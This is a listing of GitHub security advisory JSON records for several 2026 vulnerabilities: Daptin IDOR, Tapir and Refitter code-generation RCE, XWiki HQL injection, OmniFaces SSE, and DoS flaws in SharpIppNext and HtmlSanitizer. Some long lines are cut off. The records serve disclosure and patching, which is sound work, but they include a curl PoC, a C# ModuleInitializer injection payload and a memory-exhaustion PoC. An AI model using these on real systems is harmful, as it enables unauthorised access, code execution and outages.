{"schema_version":"1.9.2","id":"GHSA-wj7x-58c2-5793","published":"2026-11-20T00:14:14Z","modified":"2026-11-20T00:30:07.473981672Z","aliases":["CVE-2026-77369"],"summary":"Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint","details":"### Summary\n\nDaptin registers a generic WebSocket endpoint, `GET /yjs/:documentName`, for real-time collaborative\ndocument editing (YJS/CRDT). Unlike its purpose-built sibling route, this generic endpoint performs\nno per-resource authorization check - it only verifies that *some* user session exists. Because the\ndocument store parses `:documentName` as `typename.referenceId.columnName` and fetches that row's\nreal column content unconditionally, any authenticated user (including a brand-new, zero-privilege,\nself-registered account) can read - and, since YJS sync is bidirectional, also write - the content\nof any `file.*`-typed column on any row of any table, including tables that are admin-only by\ndefault.\n\n### Details\n\n`InitializeYjsResources` (`server/endpoint_yjs.go`) registers two routes.\n\nThe purpose-built, correctly-secured route, registered once per `file.*`-typed column on every\ntable:\n\n```go\n// server/endpoint_yjs.go:47-113 (abridged)\npath := fmt.Sprintf(\"/live/%v/:referenceId/%v/yjs\", typename, columnInfo.ColumnName)\n...\nreturn func(ginContext *gin.Context) {\n sessionUser := ...\n if sessionUser == nil { ginContext.AbortWithStatus(403); return }\n ...\n object, _, getErr := cruds[typename].GetSingleRowByReferenceIdWithTransaction(typename, parsedId, nil, tx)\n if getErr != nil { ginContext.AbortWithStatus(404); return }\n ...\n objectPermission := cruds[typename].GetRowPermission(object, tx2)\n if !objectPermission.CanUpdate(user.UserReferenceId, user.Groups, cruds[typename].AdministratorGroupId) {\n ginContext.AbortWithStatus(401)\n return\n }\n roomName := fmt.Sprintf(\"%v%v%v%v%v\", typename, \".\", referenceId, \".\", columnInfo.ColumnName)\n ...\n yjsConnectionHandler(ginContext.Writer, ginContext.Request)\n}\n```\n\nThis route correctly requires a session, loads the actual row, and checks\n`objectPermission.CanUpdate(...)` for the specific requesting user before allowing the WebSocket\nupgrade.\n\nA second, generic route is registered right above it, with none of those checks:\n\n```go\n// server/endpoint_yjs.go:27-38\ndefaultRouter.GET(\"/yjs/:documentName\", func(ginContext *gin.Context) {\n sessionUser := ginContext.Request.Context().Value(\"user\")\n if sessionUser == nil {\n ginContext.AbortWithStatus(403)\n return\n }\n yjsConnectionHandler(ginContext.Writer, ginContext.Request)\n})\n```\n\nThe only gate here is \"is some session present\" - there is no lookup of the referenced row, no\n`GetRowPermission`, no `CanUpdate`/`CanRead` check at all. `:documentName` is taken verbatim from\nthe URL and handed straight to `yjsConnectionHandler`.\n\nThe YJS document store's content provider parses `documentName` using exactly the\n`typename.referenceId.columnName` convention the secure route builds internally as `roomName`, and\nuses it to fetch the real row from the database with no authorization check of its own:\n\n```go\n// server/yjs_doucment_provider.go:41-115 (abridged)\nydb.WithInitialContentProvider(func(documentPath string) []byte {\n pathParts := strings.Split(documentPath, \".\")\n typeName, referenceId, columnName := pathParts[0], pathParts[1], pathParts[2]\n crud := cruds[typeName]\n object, _, getErr := crud.GetSingleRowByReferenceIdWithTransaction(typeName, parsedId,\n map[string]bool{columnName: true}, tx)\n ...\n // decodes and returns the actual file/column content, base64-decoded, as the\n // initial content of the shared collaborative document\n})\n```\n\nBecause the generic route performs no permission check, any authenticated user can supply\n`documentName = \"<any table>.<any reference_id>.<any file.* column>\"` and the initial YJS sync will\nserve them that row's real content - including rows whose table has `DefaultGroups: adminsGroup`\n(admin-only by default, e.g. the built-in `calendar` table) or rows an ordinary user's own row-level\npermissions would otherwise forbid them from reading. Since YJS sync is bidirectional, a connected\nclient can also push edits, which legitimate collaborators may later pull back in through the\ncorrectly secured `/live/...` route, giving a write/corruption path as well as a read path.\n\n### PoC\n\nBuilt and ran current HEAD in a clean container; created two accounts (`admin@admin.com`, first\nsignup -> admin; `bob@bob.com`, second signup -> ordinary, non-admin user with default permissions\nonly):\n\n```bash\n# 1) Generic endpoint accepts ANY authenticated session for ANY document name,\n# including a syntactically-valid-but-nonexistent reference_id on an admin-only table:\ncurl -i -N \\\n -H \"Authorization: Bearer $BOB_TOKEN\" \\\n -H \"ConnectLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-gpcc-36pq-8qxr","published":"2026-11-19T20:39:27Z","modified":"2026-11-19T20:45:04.332682214Z","aliases":["CVE-2026-76090"],"summary":"Tapir: Construction/decode RCE via property name -> raw case-class field (tapir-openapi-codegen)","details":"The OpenAPI code generator (tapir-openapi-codegen-core) builds Scala source by string templating and emitted several names/values from the (untrusted) OpenAPI document without escaping or validation, allowing injection of arbitrary Scala that runs at generated-code compile time and/or endpoint-assembly time (build/codegen-time RCE from an attacker-controlled spec).\n\nThis advisory covers the full class of sinks, all sharing one root cause and one fix (PR #5395, commit e015939b7): object property names (-> case-class fields), query/header/path parameter names (-> endpoint input DSL), and operation tags (-> .tags(List(...))). The fix routes identifier-position names through validation/quoting and string-literal values through JavaEscape.escapeString.\n\nConsolidates the separately-reported query-param (GHSA-h3vr-jggp-jw5v), header-param (GHSA-3pjr-m3pf-r66v) and tag (GHSA-jc99-w66r-pcx5) sinks, which are the same issue.","affected":[{"package":{"name":"com.softwaremill.sttp.tapir:tapir-openapi-codegen-core","ecosystem":"Maven","purl":"pkg:maven/com.softwaremill.sttp.tapir/tapir-openapi-codegen-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.27"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gpcc-36pq-8qxr/GHSA-gpcc-36pq-8qxr.json"}}],"references":[{"type":"WEB","url":"https://github.com/softwaremill/tapir/security/advisories/GHSA-gpcc-36pq-8qxr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76090"},{"type":"WEB","url":"https://github.com/softwaremill/tapir/pull/5395"},{"type":"WEB","url":"https://github.com/softwaremill/tapir/commit/e015939b78df2de0fa3d3b8ed02961425e02145e"},{"type":"PACKAGE","url":"https://github.com/softwaremill/tapir"},{"type":"WEB","url":"https://github.com/softwaremill/tapir/releases/tag/v1.13.27"}],"database_specific":{"cwe_ids":["CWE-116","CWE-94","CWE-95"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:39:27Z","nvd_published_at":"2026-11-18T20:19:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-jmmc-wjpc-pg34","published":"2026-11-19T20:44:32Z","modified":"2026-11-19T21:00:04.086926120Z","aliases":["CVE-2026-61689"],"summary":"XWiki Platform: HQL injection in search allows unauthenticated database extraction including password hashes","details":"### Impact\nThe query REST API allows executing HQL queries to filter the listed pages. While this properly checks access rights for the current user, the query can be used to combine when clauses and blind queries, to recover values, through FROM clause injection to join BaseObject and StringProperty tables, bypassing the HQL validator's SELECT column whitelist. This allows recovering any data that is stored in the database, including data from inaccessible pages, password hashes and passwords stored in configuration properties. For a typical password hash, this requires about 800 requests to the REST API (about one per bit). It should be assumed that when using more complex techniques, this even works when the attacker cannot read any wiki page. Password hashes use salted SHA1 in XWiki which can be cracked offline for weak passwords. Further, the executed database queries could be slow, affecting the availability of the system.\n\n### Patches\nThe vulnerability has been fixed in XWiki 16.10.18, 17.10.5 and 18.2.0 by disabling the HQL and WXQL queries in the REST API by default.\n\n### Workarounds\nThe requests to the `/rest/wikis/{wikiName}/query` endpoint could be blocked at the web server/reverse proxy level.","affected":[{"package":{"name":"org.xwiki.platform:xwiki-platform-rest-server","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-rest-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3-milestone-1"},{"fixed":"16.10.18"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jmmc-wjpc-pg34/GHSA-jmmc-wjpc-pg34.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-rest-server","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-rest-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.0.0-rc-1"},{"fixed":"18.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jmmc-wjpc-pg34/GHSA-jmmc-wjpc-pg34.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-rest-server","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-rest-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"17.0.0-rc-1"},{"fixed":"17.10.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jmmc-wjpc-pg34/GHSA-jmmc-wjpc-pg34.json"}}],"references":[{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jmmc-wjpc-pg34"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61689"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/4d6a2cd9cd049d0c31823ce47bff0a95667967e3"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/62b034daceead8e292244d6c9e651c0ee8b1354c"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/ae540bc3def0d4a30210eb9bead4e559984b4462"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/b63d383f2e2a41826c21a76d678b9b0e1ab0ce52"},{"type":"PACKAGE","url":"https://github.com/xwiki/xwiki-platform"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/releases/tag/xwiki-platform-16.10.18"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/releases/tag/xwiki-platform-17.10.5"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/releases/tag/xwiki-platform-18.2.0"},{"type":"WEB","url":"https://jira.xwiki.org/browse/XWIKI-24061"}],"database_specific":{"cwe_ids":["CWE-943"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:44:32Z","nvd_published_at":"2026-11-17T22:19:20Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w3w6-9m25-g88p","published":"2026-11-19T20:47:02Z","modified":"2026-11-19T21:00:04.802632106Z","aliases":["CVE-2026-109549"],"summary":"OmniFaces: SSE push channels are not bound to their owning HTTP session ","details":"## Summary\n\n[GHSA-fp43-vj7g-pg92](https://github.com/omnifaces/omnifaces/security/advisories/GHSA-fp43-vj7g-pg92) (fixed 5.4.2) bound session- and view-scoped **WebSocket** (`o:socket`) push channels to the HTTP session that registered them, so a leaked channel ID can no longer be connected to from a foreign or absent HTTP session. The fix ([`d5cae243c4`](https://github.com/omnifaces/omnifaces/commit/d5cae243c4692555efaa4ba774e0f8f60e3f4db5)) touched only the `Socket*` classes.\n\nThe parallel **SSE** (`o:sse`, added in 5.2) push transport was left unchanged. `SseEndpoint.doGet` accepts a connection whenever the presented channel ID is in the application-wide registry, without ever checking that the caller's HTTP session owns it. A leaked session/view-scoped SSE channel ID can therefore be replayed from any (or no) HTTP session to receive the messages pushed to it — exactly the behaviour the advisory removed for WebSocket, still present on SSE at the latest release.\n\n## Root Cause\n\nBoth push transports share the same base classes. A session- or view-scoped channel ID is minted as `channel + \"?\" + UUID.randomUUID()` and registered only in an application-scoped, session-agnostic registry: [`PushChannelManager#L123`](https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushChannelManager.java#L123) mints it and [`#L136`](https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushChannelManager.java#L136) calls `getPushSessions().register(channelId)`; the registry's membership test is [`PushSessionManager#L137-L139`](https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushSessionManager.java#L137-L139):\n\n```java\nprotected boolean isRegistered(String channelId) {\n return sessions.containsKey(channelId); // keyed by channelId only — no HTTP-session dimension\n}\n```\n\n**WebSocket (fixed).** `SocketChannelManager.register` additionally records session/view channel IDs on the HTTP session, and the handshake refuses anything not owned by the caller's session, at [`SocketEndpoint.java#L133-L142`](https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/SocketEndpoint.java#L133-L142):\n\n```java\nif (\n !SocketChannelManager.isApplicationScopedChannelId(channelId)\n && !SocketChannelManager.isChannelIdRegisteredInSession((HttpSession) request.getHttpSession(), channelId)\n) {\n throw new IllegalStateException(ERROR_UNAUTHORIZED_CHANNEL);\n}\n```\n\n**SSE (unfixed).** `SseChannelManager` extends the base `register()` unchanged (no HTTP-session registration), and the endpoint's sole accept gate is the global `isRegistered` check, at [`SseEndpoint.java#L59-L66`](https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/SseEndpoint.java#L59-L66):\n\n```java\nvar channel = getChannel(request);\nvar channelId = channel + \"?\" + request.getQueryString();\nvar sseSessions = Beans.getReference(SseSessionManager.class);\n\nif (channel == null || !sseSessions.isRegistered(channelId)) {\n response.getOutputStream().write(SSE_NOT_FOUND_EVENT);\n return;\n}\n// ...accepts: startAsync() and streams events for this channel\n```\n\n`doGet` never calls `request.getSession(...)`; no `Sse*` class consults the HTTP session for the accept decision. So for a session/view-scoped channel ID the fix intends to bind, WebSocket refuses a foreign/absent session while SSE accepts it. (Application-scoped channels are unbound by design on both transports — not at issue here.)\n\nRelated, same root cause: the idle-timeout and max-sessions-per-channel bounds the fix added to `SocketEndpoint` / `SocketSessionManager` were also not ported to SSE — `SseEndpoint.doGet` sets `asyncContext.setTimeout(0)` and `SseSessionManager` inherits the unbounded `getMaxSessionsPerChannel()`.\n\n## Steps to Reproduce\n\nThe PoC drives the real `SseEndpoint.doGet` from omnifaces 5.4.2 and shows it accepts a leaked session-scoped channel ID from a request carrying no owning HTTP session (and never consults the session), while the WebSocket fix refuses the same class of ID.\n\n### Prerequisites\n\n- JDK 21 or newer (tested on Temurin/Zulu 21 and OpenJDK 25)\n- Apache Maven 3.9+\n\n### Step 1: Create the project\n\n```bash\nmkdir -p /tmp/omnifaces-sse-poc/src/test/java/org/omnifaces/cdi/push\ncd /tmp/omnifaces-sse-poc\ncat > pom.xml <<'EOF'\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3fhm-p725-h3g3","published":"2026-11-20T00:06:04Z","modified":"2026-11-20T00:15:05.538354665Z","aliases":["CVE-2026-63345"],"summary":"Refitter allows arbitrary code execution through unescaped OpenAPI paths","details":"### Summary\n\nRefitter emits each OpenAPI path (the paths-object key) verbatim into a Refit `[Get(\"<path>\")]`\nattribute string, without escaping `\"` or restricting characters. A crafted single-line, /-prefixed\npath survives Refitter's default OpenAPI validation yet closes the attribute string and the enclosing\ninterface + namespace, injects a top-level `file class` with a `[ModuleInitializer]` method, and\nreopens a namespace + interface so the file stays valid. .NET runs `[ModuleInitializer]` methods when\nthe generated assembly is loaded, so the attacker's code executes at application startup. Verified on\nRefitter 2.0.0 / .NET 8.\n\n### Details\n\n```\n[Get(\"/p\")] Task<string> Dummy(); } }\nfile class Evil { [System.Runtime.CompilerServices.ModuleInitializer]\n internal static void Init(){ /* attacker code */ } }\nnamespace N2 { public partial interface I2 { [Get(\"/q\")]\n Task<string> GetU(string id);\n }\n}\n```\n\nNo `--skip-validation` is needed (the payload is a valid single-line path). The generated `.cs` is\ncompiled into the victim application; the module initializer runs at assembly load. This is distinct\nfrom the value sinks (enum/default), which are escaped; the path sink has no escaping. The\n`[Header(\"<name>\")]` attribute is likewise emitted raw (header parameter names), at minimum a\nbuild-breaking DoS.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates with default validation, compiles into a console\napp, runs it (Main does not touch the client), and shows a marker written at assembly load. Verified\non 2.0.0.\n\n### Impact\n\nCode execution at assembly load (process startup) in any application that compiles a Refitter client\ngenerated from an attacker-controlled or attacker-influenced OpenAPI description.\n\n### Suggested fix\n\nEscape the route template before emitting it into `[Get(\"…\")]` (escape `\"`, `\\`, reject newlines) and\nvalidate that paths contain only legal URI-template characters. Apply the same encoding to\n`[Header(…)]`, `[Post/Put/Delete(…)]`, and every attribute that embeds a spec-derived string.\n[maintainer-report.txt](https://github.com/user-attachments/files/29395228/maintainer-report.txt)\n[make_spec.py](https://github.com/user-attachments/files/29395229/make_spec.py)\n[reproduce.sh](https://github.com/user-attachments/files/29395230/reproduce.sh)","affected":[{"package":{"name":"Refitter","ecosystem":"NuGet","purl":"pkg:nuget/Refitter"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2"}]}],"versions":["0.1.2-alpha","0.1.3-alpha","0.1.4-alpha","0.1.5-alpha","0.2.0-alpha","0.2.1-alpha","0.2.2-alpha","0.2.3-alpha","0.2.4-alpha","0.3.0","0.3.1","0.3.16","0.3.17","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.25","0.5.26","0.5.27","0.5.28","0.5.29","0.5.3","0.5.30","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.0.20-preview","0.7.0.21-preview","0.7.0.22-preview","0.7.0.23-preview","0.7.0.26-preview","0.7.0.27-preview","0.7.0.28-preview","0.7.1","0.7.1.29-preview","0.7.1.30-preview","0.7.1.31-preview","0.7.2","0.7.2.32-preview","0.7.3","0.7.3.33-preview","0.7.3.34-preview","0.7.3.35-preview","0.7.3.36-preview","0.7.3.37-preview","0.7.4","0.7.5","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.6.38-preview","0.8.6.39-preview","0.8.7","0.8.7.40-preview","0.8.7.41-preview","0.9.0","0.9.1","0.9.2","0.9.3.42-preview","0.9.4","0.9.4.43-preview","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","0.9.9.44-preview","1.0.0","1.0.1","1.0.2","1.1.0.45-preview","1.1.1","1.1.2","1.1.3","1.2.0","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","2.0.0","2.1.0","2.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3fhm-p725-h3g3/GHSA-3fhm-p725-h3g3.json"}}],"references":[{"type":"WEB","url":"https://github.com/christianhelle/refitter/security/advisories/GHSA-3fhm-p725-h3g3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63345"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/pull/1178"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/commit/793d2632899c2022511dfc15e30725ef69073973"},{"type":"PACKAGE","url":"https://github.com/christianhelle/refitter"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/releases/tag/2.1.2"},{"type":"WEB","url":"https://github.com/user-attachments/files/29395228/maintainer-report.txt"},{"type":"WEB","url":"https://github.com/user-attachments/files/29395229/make_spec.py"},{"type":"WEB","url":"https://github.com/user-attachments/fileLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3h63-w8jq-rrf2","published":"2026-11-19T20:43:01Z","modified":"2026-11-19T21:00:04.095482492Z","aliases":["CVE-2026-59975"],"summary":"SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service","details":"### Summary\n\nSharpIppNext's `IppProtocol.ReadIppRequestAsync()` unconditionally copies the entire attacker-supplied IPP document payload into an unbounded `MemoryStream` with no size limit. Because this behavior is enabled by default (`ReadDocumentStream = true`) and the official server documentation shows `HttpContext.Request.Body` being passed directly to `ReceiveRequestAsync()` without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.\n\n> [!NOTE]\n> This vulnerability only affects server-side implementations (using `SharpIppServer` to parse incoming IPP requests). It does not affect client-side implementations using `SharpIppClient` or client-side request construction.\n\n### Details\n\nThe vulnerable sink is in `SharpIpp/Protocol/IppProtocol.cs`:\n\n```csharp\n// IppProtocol.cs:39 — enabled by default\npublic bool ReadDocumentStream { get; set; } = true;\n\n// IppProtocol.cs:466–470 — no size cap on the copy\nif (ReadDocumentStream)\n{\n message.Document = new MemoryStream();\n await reader.BaseStream.CopyToAsync(message.Document); // unbounded\n message.Document.Seek(0, SeekOrigin.Begin);\n}\n```\n\nThe full call chain from the public API to the vulnerable sink:\n\n1. `docs/Content/Server/index.md:6–11` — Official server example passes `context.Request.Body` (unauthenticated) to `sharpIppServer.ReceiveRequestAsync(inputStream)`.\n2. `SharpIpp/ISharpIppServer.cs:78` — Public API declaration: `Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...)`.\n3. `SharpIpp/SharpIppServer.cs:62–67` — `ReceiveRequestAsync(Stream)` overload delegates to `ReceiveRawRequestAsync(stream)`.\n4. `SharpIpp/SharpIppServer.cs:52–58` — `ReceiveRawRequestAsync` calls `_ippProtocol.ReadIppRequestAsync(stream, ...)`.\n5. `SharpIpp/Protocol/IppProtocol.cs:466–470` — `ReadIppRequestAsync` copies all remaining bytes after the IPP attribute section into a `new MemoryStream()` with no upper bound.\n\nThe existing validator (`IppRequestMessageValidator.ValidateStringLengthLimitsRule`, `IppRequestMessageValidator.cs:260`) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.\n\nDynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit `185343e`) was sent a 100 MB IPP document payload. The server responded `docLength=104857600`, confirming all 100 MB were buffered into a `MemoryStream` with no rejection.\n\n### PoC\n\n**1. Build and start the vulnerable server**\n\n```bash\n# From the repository root (build context: parent of vuln-001/)\ndocker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \\\n reports/pypiAi_973_danielklecha__SharpIppNext/\n\ndocker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc\n```\n\nThe PoC server (`Program.cs`) uses the default `SharpIppServer` (which uses `IppProtocol` with `ReadDocumentStream = true`) and exposes a single unauthenticated POST endpoint:\n\n```csharp\nusing SharpIpp;\n\nvar server = new SharpIppServer();\nvar app = WebApplication.Create();\n\napp.MapPost(\"/\", async ctx =>\n{\n var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);\n ctx.Response.ContentType = \"text/plain\";\n await ctx.Response.WriteAsync($\"docLength={req.Document?.Length}\\n\");\n});\n\napp.Run(\"http://0.0.0.0:8631\");\n```\n\n**2. Send the crafted IPP request**\n\n```bash\npython3 vuln-001/poc.py 127.0.0.1 8631 100\n```\n\nThe PoC script (`poc.py`) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.\n\n**3. Expected output**\n\n```\n[*] Target : http://127.0.0.1:8631/\n[*] IPP header size : 72 bytes\n[*] Document payload: 100 MB (104,857,600 bytes)\n[*] Total request : 104,857,672 bytes\n\n[*] Sending request...\n[*] HTTP status : 200\n[*] Response : docLength=104857600\n\n[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.\n[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)\n```\n\nIncreasing `doc_size_mb` (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.\n\n**Recommended fix**\n\nAdd a configurable maximum document size and throw `client-error-request-entity-too-large` when exceeded:\n\n```diff\n--- a/SharpIpp/Protocol/IppProtocol.cs\n+++ b/SharpIpp/Protocol/IppProtocoLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-464h-4j8h-q5mf","published":"2026-11-19T20:49:01Z","modified":"2026-11-19T21:00:04.601569406Z","aliases":["CVE-2026-102529"],"summary":"HtmlSanitizer: CSS Removal DoS","details":"### Impact\n\nAn unauthenticated request can occupy one synchronous application worker for seconds. Concurrent requests add CPU cost and can keep all workers busy, sustaining denial of service without user interaction.\n\n### Patches\n\nThe issue has been patched in versions 9.0.967 and 9.1.968-beta.\n\n### Workarounds\n\nDisallow the style attribute.","affected":[{"package":{"name":"HtmlSanitizer","ecosystem":"NuGet","purl":"pkg:nuget/HtmlSanitizer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.967"}]}],"versions":["1.0.4925.29815","1.0.4927.30873","1.1.5243.28448","1.1.5297.28403","1.1.5338.17998","2.0.5449.20550","2.0.5548.24932","2.0.5595.22183","2.0.5595.30325","2.0.5623.30465","2.0.5735.24296","3.0.5781.31354-beta","3.0.66-beta","3.1.67-beta","3.1.75-beta","3.1.76","3.1.79","3.1.91","3.1.93","3.1.98","3.2.100-beta","3.2.103","3.2.105","3.2.96-beta","3.3.122-beta","3.3.125-beta","3.3.126-beta","3.3.127-beta","3.3.128-beta","3.3.129-beta","3.3.130-beta","3.3.131-beta","3.3.132-beta","3.3.142","3.3.143-beta","3.3.144-beta","3.3.145-beta","3.3.146-beta","3.3.147-beta","3.3.148-beta","3.4.152-beta","3.4.156","3.5.168-beta","3.5.169-beta","4.0.179","4.0.180","4.0.181","4.0.182","4.0.183","4.0.185","4.0.187","4.0.197","4.0.199","4.0.201","4.0.204","4.0.205","4.0.207","4.0.210","4.0.217","5.0.215-beta","5.0.218-beta","5.0.250-beta","5.0.266-beta","5.0.274-beta","5.0.298","5.0.304","5.0.310","5.0.319","5.0.331","5.0.342","5.0.343","5.0.353","5.0.355","5.0.372","5.0.376","5.0.404","6.0.409-beta","6.0.423-beta","6.0.430-beta","6.0.437","6.0.441","6.0.453","7.0.470-beta","7.0.473","7.1.475","7.1.488","7.1.509","7.1.512","7.1.542","8.0.601","8.0.645","8.0.690-beta","8.0.691-beta","8.0.692","8.0.718","8.0.723","8.0.744","8.0.746","8.0.795","8.0.811","8.0.838","8.0.843","8.0.865","8.1.717-beta","8.1.719-beta","8.1.722-beta","8.1.745-beta","8.1.747-beta","8.1.748-beta","8.1.796-beta","8.1.812-beta","8.1.839-beta","8.1.844-beta","8.1.870","9.0.873","9.0.876","9.0.881","9.0.884","9.0.886","9.0.889","9.0.892"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-464h-4j8h-q5mf/GHSA-464h-4j8h-q5mf.json"}},{"package":{"name":"HtmlSanitizer","ecosystem":"NuGet","purl":"pkg:nuget/HtmlSanitizer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.1.878-beta"},{"fixed":"9.1.968-beta"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-464h-4j8h-q5mf/GHSA-464h-4j8h-q5mf.json"}}],"references":[{"type":"WEB","url":"https://github.com/mganss/HtmlSanitizer/security/advisories/GHSA-464h-4j8h-q5mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102529"},{"type":"WEB","url":"https://github.com/mganss/HtmlSanitizer/commit/6198e0494f96707171bf606689949d5360f7e4c5"},{"type":"PACKAGE","url":"https://github.com/mganss/HtmlSanitizer"},{"type":"WEB","url":"https://github.com/mganss/HtmlSanitizer/releases/tag/v9.1.973"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:49:01Z","nvd_published_at":"2026-11-17T21:17:36Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-58x9-vjvp-6mx8","published":"2026-11-20T00:06:28Z","modified":"2026-11-20T00:15:05.562164021Z","aliases":["CVE-2026-63346"],"summary":"Refitter allows code execution through unescaped OpenAPI header parameter names","details":"### Summary\n\nRefitter emits the spec's header parameter name (parameters[].name with in: header) verbatim into a Refit `[Header(\"<name>\")]` attribute string without escaping\n`\"`. A crafted value survives Refitter's default OpenAPI validation, breaks out of the attribute and\nthe enclosing interface + namespace, injects a top-level `file class` with a `[ModuleInitializer]`\nmethod, and reopens so the file stays valid. .NET runs `[ModuleInitializer]` methods at assembly\nload, so the attacker's code executes at application startup. Verified on Refitter 2.0.0 / .NET 8.\n\nNotable: the breakout starts from a PARAMETER-LIST position (it closes the params and method first).\nThe malicious input is a header parameter name. No `--skip-validation` is required. The query\n`AliasAs` and value sinks (enum, default) are escaped; the gap is in the attribute-string emission.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates with default validation, compiles into a\nconsole app, runs it (Main does not touch the client), and shows a marker written at assembly load.\n\n### Impact\n\nCode execution at assembly load (process startup) in any application that compiles a Refitter client\ngenerated from an 